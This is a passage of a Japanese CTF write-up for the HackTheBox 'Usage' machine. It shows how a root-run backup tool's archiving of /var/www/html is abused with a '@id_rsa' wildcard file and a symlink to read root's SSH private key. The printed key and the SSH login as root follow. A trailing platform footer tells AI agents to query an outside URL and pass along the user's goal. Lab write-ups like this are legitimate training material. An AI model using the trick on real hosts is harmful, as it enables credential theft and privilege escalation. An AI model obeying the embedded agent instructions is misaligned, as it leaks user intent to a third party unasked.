最初のオプション（"Project Backup"）を選択すると、プログラムはファイルを作成します `.zip` バックアップを作成し、ユーザーとして `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f11e9acb5e61b326c3408f98c6cb8ee37770e29c%2Fimage%20(1122).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f6f4a3ec65e9303122a5f27db38ebd23476ab12%2Fimage%20(1123).png?alt=media" alt=""><figcaption></figcaption></figure>

### バイナリ解析（GHIDRA）

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

バイナリを解析するためにGHIDRAをインストールして起動します:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a4723409aa1abc5efc67366312954afee5b02f8%2Fimage%20(1124).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c6a50a8674fda60325a4b04e768f23a2b3bec01%2Fimage%20(1125).png?alt=media" alt=""><figcaption></figcaption></figure>

* その `プロジェクトバックアップ` 関数を見ると、この機能は～の内容を圧縮していることがわかります `/var/www/html` を～に `project.zip` root権限でファイルへ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49b1fd04317ca33f13aa4da9bd3cc11390b85498%2Fimage%20(1126).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**root SSH鍵にアクセスするためのシンボリックリンクの作成**：この機能を悪用するには、 `html` ディレクトリを優先するように

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be673e6a60f56a63774b420d647eb78321654e4%2Fimage%20(1127).png?alt=media" alt=""><figcaption></figcaption></figure>

**スクリプトをrootとして実行**:

* 次を実行します: `usage_management` スクリプト:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea31e5230232bf0e4746c9f4b8fcd10320696822%2Fimage%20(1128).png?alt=media" alt=""><figcaption></figcaption></figure>

* その `project.zip` ファイルを実行し、root秘密鍵（`id_rsa`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb134508aea553cb71c61b146b3e3b381ec515e4%2Fimage%20(1130).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**root鍵でSSH接続**:

* 鍵を使ってrootとしてログインします:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-563870f0cf6625cc06fa5f4f77844107813024d3%2Fimage%20(1131).png?alt=media" alt=""><figcaption></figcaption></figure>

### rootフラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8d23693d4270643208140fcabd797d3d44072b9%2Fimage%20(1133).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e05628695c27540b5622a01fb52f215aeba8a75%2Fimage%20(1132).png?alt=media" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
